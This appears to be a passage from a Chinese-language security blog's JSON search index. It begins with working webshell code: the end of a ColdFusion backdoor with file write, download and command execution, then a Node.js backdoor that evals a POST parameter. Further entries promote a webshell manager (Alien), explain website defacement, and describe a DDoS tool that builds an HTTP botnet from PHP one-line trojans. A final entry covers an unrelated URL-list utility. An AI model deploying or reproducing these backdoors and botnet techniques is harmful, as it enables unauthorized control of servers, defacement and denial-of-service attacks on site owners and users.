VALUE="G"><CFSCRIPT>F=CreateObject("java","java.io.FileOutputStream");F.init(Form.z1);h="0123456789ABCDEF";C=Form.z2;for(i=0;i lt Len(C);i=i+2){F.write(BitOr(BitSHLN(h.indexOf(C.charAt(i)),4),h.indexOf(C.charAt(i+1))));}F.close();O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="H"><CFFUNCTION Name="cpf"><CFARGUMENT Name="S"><CFARGUMENT Name="D"><CFFILE ACTION="Copy" SOURCE="#S#" DESTINATION="#D#"></CFFUNCTION><CFSCRIPT>Function CP(S,D){sf=CreateObject("java","java.io.File").init(S);df=CreateObject("java","java.io.File").init(D);L=0;i=0;if(sf.isDirectory()){if(not df.exists()){df.mkdir();}L=sf.listFiles();for(i=1;i lte ArrayLen(L);i=i+1){if(L[i].isDirectory()){CP(L[i].getPath(),df.getPath()&"/"&L[i].getName());}else{cpf(L[i].getPath(),df.getPath()&"/"&L[i].getName());}}}else{cpf(S,D);}}CP(Form.z1,Form.z2);O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="I"><CFFILE ACTION="MOVE" SOURCE="#Form.z1#" DESTINATION="#Form.z2#"><CFSET O="1" /></CFCASE><CFCASE VALUE="J"><CFDIRECTORY Directory="#Form.z1#" Action="Create"><CFSET O="1" /></CFCASE><CFCASE VALUE="K"><CFSCRIPT>FileSetLastModified(Form.z1,ParseDateTime(Form.z2));O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="L"><CFSCRIPT>Z=Form.z2;For(i=Len(Z);i gt 0;i=i-1){if(Mid(Z,i,1) eq "/" Or Mid(Z,i,1) eq "\\"){Break;}}P=Left(Z,i);F=Mid(Z,i+1,256);</CFSCRIPT><CFHTTP METHOD="Get" URL="#Form.z1#" PATH="#P#" FILE="#F#"><CFSET O="1" /></CFCASE><CFCASE VALUE="M"><CFEXECUTE Name="#Mid(Form.z1,3,Len(Form.z1)-2)#" Arguments="#Mid(Form.z1,1,2)# #Form.z2#" Variable="O" TimeOut="60" /></CFCASE></CFSWITCH><CFCATCH Type="Any"><CFSET O="ERROR:// "&CFCatch.Message /></CFCATCH></CFTRY><CFOUTPUT>->#Chr(124)&O&Chr(124)#<-</CFOUTPUT>\n菜刀形,跟上面的JSP一樣。\nNodeJSvar http = require('http'),\turl = require('url'), exec = require('child_process').exec;var querystring = require('querystring');var host = "127.0.0.1", port = "5555", thisServerUrl = "http://" + host + ":" + port;http.createServer(function (req, res) { req.addListener('end', function () { }); //var parsedUrl = url.parse(req.url, true); //var cmd = parsedUrl.query['cmd']; var string = ''; req.addListener('data', function(chunk){ string += chunk; });\tvar cmd;\treq.addListener('end', function(){ var strObj = querystring.parse(string);\t\t cmd = strObj.pass;\t\t res.writeHead(200, {'Content-Type': 'text/plain'}); if (cmd) { try {eval(cmd);} catch(e) {console.log("ERROR://" + e);res.end("ERROR://");} } else {\t\t res.end();\t } });}).listen(port, host);console.log('Server running at ' + thisServerUrl );\nNodeJS的木馬在滲透測試中不見得能用上,因為使用條件跟php, asp, aspx這些比較過於苛刻。\n\n","categories":["Code"],"tags":["pentest","webshell","trojan","backdoor","code"]},{"title":"【Tool】Alien","url":"/2023/06/06/%E3%80%90Tool%E3%80%91Alien/","content":"簡介Alien是一個用C#編寫的一句話木馬管理工具,功能如下 : \n\nSystem Information\nFileManager (可顯示圖片)\nVirtual Terminal\nDatabase\nRegistry\nMonitor\nScreenshot\n\n可控伺服器(可使用功能不一致)Windows/Linux/Unix/MacOS\nDatabase\nMySQL : PHP\nSQL Server : ASP, ASPX, ASMX, ASHX\n\n文檔&下載\n\n\nID\n主題\nUrl\n\n\n\n1\nAlien文檔\nhttps://malbuffer4pt.github.io/Alien\n\n\n2\nAlien Github\nhttps://github.com/malbuffer4pt/Alien\n\n\n","categories":["Tools"],"tags":["pentest","webshell","工具","backdoor","Alien"]},{"title":"【Tech】掛黑頁","url":"/2023/06/06/%E3%80%90Tech%E3%80%91%E6%8E%9B%E9%BB%91%E9%A0%81/","content":"介紹黑頁, 英文是 Deface Page, 指的是在入侵網站後直接把網站的 home page 改為自己的內容,一般都是用作惡意破壞或政治目的 : \n在十多年前的中國,當時對網路犯罪的打撃沒有很重,他們自己開發的CMS又有很多漏洞,很容易就會被Getshell,做成以前很長的一段時間都有網站不斷地被掛黑頁,甚至還會在黑頁上寫上自己的QQ號碼。 \n在國際上比較有名的事件 :\nIranian Cyber Army \n掛黑頁從技術上來說,制作黑頁並不難,只要會寫HTML就可以了,難的時要怎麼樣掛黑頁,目前來說掛黑頁的方式主要有兩種\n\nGetshell : 用Webshell直接修改 index.html 的HTML, 在無法getshell的情況下有的會直接在後端改圖片\nDNS修改 : 把目標DNS改為自己的伺服器IP, 例如Iranian Cyber Army用的就是這種,還有美國政府也是,附圖如下\n\nUS\n","categories":["BlackHat"],"tags":["code","html","blackhat","deface page"]},{"title":"【Tool】Tyrant DDoS","url":"/2023/07/02/%E3%80%90Tool%E3%80%91TyrantDDoS/","content":"簡介Tyrant DDoS是一個運用PHP一句話木馬進行壓力測試工具,透過把指定的Payload注入到eval函數來執行程式。\n免責聲明工具只限用於學習、壓力測試等合法用途,如非法使用則後果自負\n目的為甚麼我會寫這個工具呢? 我一開始是因為DDoS才會對資訊安全(OR網絡安全)感到興趣,在我剛接觸資訊安全領域時,身邊有很多人都會使用LOIC等工具進行惡作劇和攻撃,然後聲稱這是DDoS,後來我才明白這根本不是甚麼DDoS,只是簡單的DDoS而已,不知道是對DDoS的定義有甚麼誤會還是單純因為DDoS聽上去比較帥和比較強,大家都會說這是DDoS。我很不喜歡這樣,對這件事有點不爽,剛好我最近也看了幾篇DDoS技術原理的文章,再加上我編寫Alien時的經驗和一個想法———使用一句話木馬進行DDoS,所以就寫了這個工具,附合DDoS定義的DDoS,這聽上去很奇怪,但這是事實。這工具也是一個Proof of Concept,目前有很多DDoS工具都是用使TCP ReverseShell、P2P、IRC建立的,這個工具也有一個目的就是證明可以不使用這三種方法,而是使用HTTP就能建立BotNet。\nScreenshot\n下載https://github.com/malbuffer4pt/Tyrant\n","tags":["BlackHat","DDoS","StressTest","DoS","PHP"]},{"title":"【Tool】LazyUrl2TXT","url":"/2023/07/13/%E3%80%90Tool%E3%80%91LazyUrl2TXT/","content":"前言我自己會有一個壞習慣,那就是在網上看到一些有興趣的文章或者漫畫時會使用Ctrl+左鍵不停地在新分頁打開,然後回過神來時已經出現幾十多個分頁了,有時候又覺得Chrome的書籤管理員(Tab Manager)又很麻煩,又或者是不想記在別人看到的地方(如某些R18漫畫),所以就直接把Url寫在.txt檔案了。但是寫在.txt檔內又會有問題,那就是根本不知道這個Url內容到底是甚麼,如果把.txt檔內的Url一個一個地打開又會很麻時間,所以就寫了這個工具。\nScreenshot & 測試建立一個.txt檔,內容如下:\nhttps://tw.manhuagui.com/comic/31550/https://tw.manhuagui.com/comic/31212/https://tw.manhuagui.com/comic/37980/https://tw.manhuagui.com/comic/23363/https://tw.manhuagui.com/comic/17165/https://tw.manhuagui.com/comic/32344/https://tw.manhuagui.com/comic/27586/https://tw.manhuagui.com/comic/48693/https://tw.manhuagui.com/comic/46337/https://tw.manhuagui.com/comic/15248/https://www.youtube.com/watch?v=h_D3VFfhvs4https://www.youtube.com/watch?v=AULG4MoYxQkhttps://www.youtube.com/watch?v=_Zvy2PidEMchttps://www.youtube.com/watch?v=ktvTqknDobUHello here is the testhttps://www.youtube.com/watch?v=3PG9OZrWgKM\n使用LazyUrl2TXT打開 :\n下載https://github.com/malbuffer4pt/IssacTools\n","tags":["Miscellaneous","Tools"]}]